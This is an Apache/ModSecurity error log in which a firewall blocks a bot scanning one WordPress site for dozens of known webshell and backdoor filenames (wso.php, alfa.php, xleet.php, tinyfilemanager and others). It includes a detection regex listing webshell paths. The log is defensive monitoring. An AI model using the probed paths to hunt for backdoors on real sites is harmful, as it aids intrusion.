[Thu Dec 11 00:00:18.457544 2025] [:error] [pid 36976:tid 37025] [client 172.98.33.13:30213] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/dropdown.php"] [unique_id "aTmZEiSpHW5KVaY9tJniMgAAANI"]
[Thu Dec 11 00:00:19.058660 2025] [:error] [pid 37062:tid 37081] [client 172.98.33.5:58477] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aTmZEzB0I62HCw8Z5BSLeQAAABE"]
[Thu Dec 11 00:00:20.161499 2025] [:error] [pid 49095:tid 49121] [client 172.98.33.9:38393] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTmZFMorr4Jt2Tfx_EY8-QAAAVg"]
[Thu Dec 11 00:00:20.661933 2025] [:error] [pid 49095:tid 49101] [client 45.132.115.250:57973] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aTmZFMorr4Jt2Tfx_EY8_AAAAUQ"]
[Thu Dec 11 00:00:21.663278 2025] [:error] [pid 49095:tid 49108] [client 45.132.115.249:53575] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/fmadmin.php"] [unique_id "aTmZFcorr4Jt2Tfx_EY9AAAAAUs"]
[Thu Dec 11 00:00:22.359263 2025] [:error] [pid 46868:tid 46874] [client 172.98.33.11:51245] [client 172.98.33.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/options.php"] [unique_id "aTmZFo3NdlN2GOOyBjGjIAAAAQQ"]
[Thu Dec 11 00:00:24.965238 2025] [:error] [pid 37062:tid 37071] [client 172.98.33.12:58003] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/about.php"] [unique_id "aTmZGDB0I62HCw8Z5BSLewAAAAc"]
[Thu Dec 11 00:00:25.872480 2025] [:error] [pid 49095:tid 49109] [client 172.98.33.19:55005] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aTmZGcorr4Jt2Tfx_EY9AwAAAUw"]
[Thu Dec 11 00:00:26.563529 2025] [:error] [pid 36977:tid 37036] [client 172.98.33.19:25519] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aTmZGsc-JLl-uoL-Au7n8AAAAEI"]
[Thu Dec 11 00:00:27.167321 2025] [:error] [pid 36975:tid 36994] [client 45.132.115.254:40117] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aTmZG9_ZNQ3zMmb38BGYBwAAAI4"]
[Thu Dec 11 00:00:27.656790 2025] [:error] [pid 46868:tid 46878] [client 45.132.115.251:38261] [client 45.132.115.251] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aTmZG43NdlN2GOOyBjGjIgAAAQg"]
[Thu Dec 11 00:00:29.482744 2025] [:error] [pid 37062:tid 37088] [client 45.132.115.244:32659] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wordfence-waf.php"] [unique_id "aTmZHTB0I62HCw8Z5BSLfwAAABg"]
[Thu Dec 11 00:00:30.771160 2025] [:error] [pid 36976:tid 37022] [client 45.132.115.245:65137] [client 45.132.115.245] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/mah/function.php"] [unique_id "aTmZHiSpHW5KVaY9tJniTwAAAM8"]
[Thu Dec 11 00:00:32.072196 2025] [:error] [pid 36976:tid 37017] [client 172.98.33.14:48575] [client 172.98.33.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "aTmZICSpHW5KVaY9tJniUAAAAMo"]
[Thu Dec 11 00:00:34.060584 2025] [:error] [pid 36977:tid 37035] [client 45.132.115.246:62803] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "aTmZIsc-JLl-uoL-Au7n8wAAAEE"]
[Thu Dec 11 00:00:34.872121 2025] [:error] [pid 36976:tid 37030] [client 45.132.115.245:38821] [client 45.132.115.245] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aTmZIiSpHW5KVaY9tJniVQAAANc"]
[Thu Dec 11 00:00:35.364807 2025] [:error] [pid 36976:tid 37026] [client 172.98.33.20:60159] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aTmZIySpHW5KVaY9tJniWQAAANM"]
[Thu Dec 11 00:00:36.156732 2025] [:error] [pid 49095:tid 49102] [client 172.98.33.19:44079] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aTmZJMorr4Jt2Tfx_EY9DgAAAUU"]
[Thu Dec 11 00:00:36.762017 2025] [:error] [pid 46868:tid 46880] [client 172.98.33.19:28447] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aTmZJI3NdlN2GOOyBjGjKQAAAQo"]
[Thu Dec 11 00:00:37.268522 2025] [:error] [pid 49095:tid 49105] [client 172.98.33.11:38319] [client 172.98.33.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aTmZJcorr4Jt2Tfx_EY9EgAAAUg"]
[Thu Dec 11 00:00:37.854149 2025] [:error] [pid 46868:tid 46874] [client 45.132.115.254:33525] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/upload.php"] [unique_id "aTmZJY3NdlN2GOOyBjGjLAAAAQQ"]
[Thu Dec 11 00:00:40.672863 2025] [:error] [pid 36976:tid 37010] [client 172.98.33.18:39723] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "aTmZKCSpHW5KVaY9tJniZwAAAMM"]
[Thu Dec 11 00:00:41.358472 2025] [:error] [pid 37062:tid 37084] [client 172.98.33.13:25141] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aTmZKTB0I62HCw8Z5BSLiAAAABQ"]
[Thu Dec 11 00:00:42.356672 2025] [:error] [pid 49095:tid 49103] [client 172.98.33.16:59425] [client 172.98.33.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aTmZKsorr4Jt2Tfx_EY9GAAAAUY"]
[Thu Dec 11 00:00:43.263694 2025] [:error] [pid 37062:tid 37065] [client 45.132.115.246:38199] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/xl2023.php"] [unique_id "aTmZKzB0I62HCw8Z5BSLigAAAAE"]
[Thu Dec 11 00:00:44.161522 2025] [:error] [pid 36975:tid 36988] [client 45.132.115.248:29901] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aTmZLN_ZNQ3zMmb38BGYGgAAAIg"]
[Thu Dec 11 00:00:44.777315 2025] [:error] [pid 36976:tid 37026] [client 172.98.33.19:24013] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/login.php"] [unique_id "aTmZLCSpHW5KVaY9tJniaQAAANM"]
[Thu Dec 11 00:00:45.450430 2025] [:error] [pid 37062:tid 37083] [client 45.132.115.250:20167] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aTmZLTB0I62HCw8Z5BSLiwAAABM"]
[Thu Dec 11 00:00:46.252119 2025] [:error] [pid 37062:tid 37080] [client 172.98.33.4:61339] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aTmZLjB0I62HCw8Z5BSLjgAAABA"]
[Thu Dec 11 00:00:47.465203 2025] [:error] [pid 36975:tid 36990] [client 172.98.33.6:20585] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aTmZL9_ZNQ3zMmb38BGYHAAAAIo"]
[Thu Dec 11 00:00:48.770349 2025] [:error] [pid 36975:tid 36999] [client 172.98.33.13:23053] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "aTmZMN_ZNQ3zMmb38BGYHwAAAJM"]
[Thu Dec 11 00:00:49.881580 2025] [:error] [pid 46868:tid 46880] [client 172.98.33.10:30159] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aTmZMY3NdlN2GOOyBjGjNAAAAQo"]
[Thu Dec 11 00:00:51.274853 2025] [:error] [pid 36977:tid 37046] [client 172.98.33.15:30633] [client 172.98.33.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aTmZM8c-JLl-uoL-Au7n-QAAAEw"]
[Thu Dec 11 00:00:52.763252 2025] [:error] [pid 49095:tid 49116] [client 45.132.115.248:61351] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/pachr.php"] [unique_id "aTmZNMorr4Jt2Tfx_EY9KAAAAVM"]
[Thu Dec 11 00:00:53.361796 2025] [:error] [pid 49095:tid 49102] [client 45.132.115.246:41509] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aTmZNcorr4Jt2Tfx_EY9KQAAAUU"]
[Thu Dec 11 00:00:54.470190 2025] [:error] [pid 49095:tid 49097] [client 45.132.115.250:37581] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aTmZNsorr4Jt2Tfx_EY9MAAAAUA"]
[Thu Dec 11 00:00:55.080649 2025] [:error] [pid 46868:tid 46870] [client 172.98.33.4:52497] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aTmZN43NdlN2GOOyBjGjPAAAAQA"]
[Thu Dec 11 00:00:55.664649 2025] [:error] [pid 37062:tid 37069] [client 172.98.33.7:50497] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aTmZNzB0I62HCw8Z5BSLmwAAAAU"]
[Thu Dec 11 00:00:56.463535 2025] [:error] [pid 46868:tid 46881] [client 45.132.115.249:58089] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/user.php"] [unique_id "aTmZOI3NdlN2GOOyBjGjPQAAAQs"]
[Thu Dec 11 00:00:57.159822 2025] [:error] [pid 36975:tid 37001] [client 172.98.33.18:37849] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aTmZOd_ZNQ3zMmb38BGYLQAAAJU"]
[Thu Dec 11 00:00:57.955269 2025] [:error] [pid 37062:tid 37082] [client 172.98.33.6:44247] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aTmZOTB0I62HCw8Z5BSLpwAAABI"]
[Thu Dec 11 00:00:58.758865 2025] [:error] [pid 36977:tid 37054] [client 172.98.33.12:26165] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/text.php"] [unique_id "aTmZOsc-JLl-uoL-Au7oBgAAAFQ"]
[Thu Dec 11 00:00:59.463810 2025] [:error] [pid 49095:tid 49098] [client 172.98.33.7:41359] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aTmZO8orr4Jt2Tfx_EY9PQAAAUE"]
[Thu Dec 11 00:01:00.189847 2025] [:error] [pid 49095:tid 49103] [client 172.98.33.9:62463] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aTmZPMorr4Jt2Tfx_EY9QgAAAUY"]
[Thu Dec 11 00:01:01.158448 2025] [:error] [pid 36977:tid 37045] [client 172.98.33.9:47861] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/demo.php"] [unique_id "aTmZPcc-JLl-uoL-Au7oCQAAAEs"]
[Thu Dec 11 00:01:01.762427 2025] [:error] [pid 36977:tid 37057] [client 172.98.33.7:59315] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aTmZPcc-JLl-uoL-Au7oDgAAAFc"]
[Thu Dec 11 00:01:02.472890 2025] [:error] [pid 49095:tid 49103] [client 172.98.33.15:27861] [client 172.98.33.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aTmZPsorr4Jt2Tfx_EY9UgAAAUY"]
[Thu Dec 11 00:01:03.171938 2025] [:error] [pid 49095:tid 49107] [client 45.132.115.250:32613] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aTmZP8orr4Jt2Tfx_EY9VQAAAUo"]
[Thu Dec 11 00:01:03.764113 2025] [:error] [pid 36975:tid 36983] [client 45.132.115.254:32093] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/xml.php"] [unique_id "aTmZP9_ZNQ3zMmb38BGYLwAAAIM"]
[Thu Dec 11 00:01:04.758745 2025] [:error] [pid 36976:tid 37030] [client 172.98.33.13:20485] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aTmZQCSpHW5KVaY9tJnihwAAANc"]
[Thu Dec 11 00:01:05.562497 2025] [:error] [pid 49095:tid 49108] [client 172.98.33.11:43689] [client 172.98.33.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aTmZQcorr4Jt2Tfx_EY9YgAAAUs"]
[Thu Dec 11 00:01:06.360246 2025] [:error] [pid 36976:tid 37019] [client 172.98.33.18:59905] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aTmZQiSpHW5KVaY9tJnikAAAAMw"]
[Thu Dec 11 00:01:07.562916 2025] [:error] [pid 36976:tid 37013] [client 172.98.33.5:47937] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aTmZQySpHW5KVaY9tJnilQAAAMY"]
[Thu Dec 11 00:01:08.250811 2025] [:error] [pid 36976:tid 37007] [client 172.98.33.6:49787] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aTmZRCSpHW5KVaY9tJningAAAMA"]
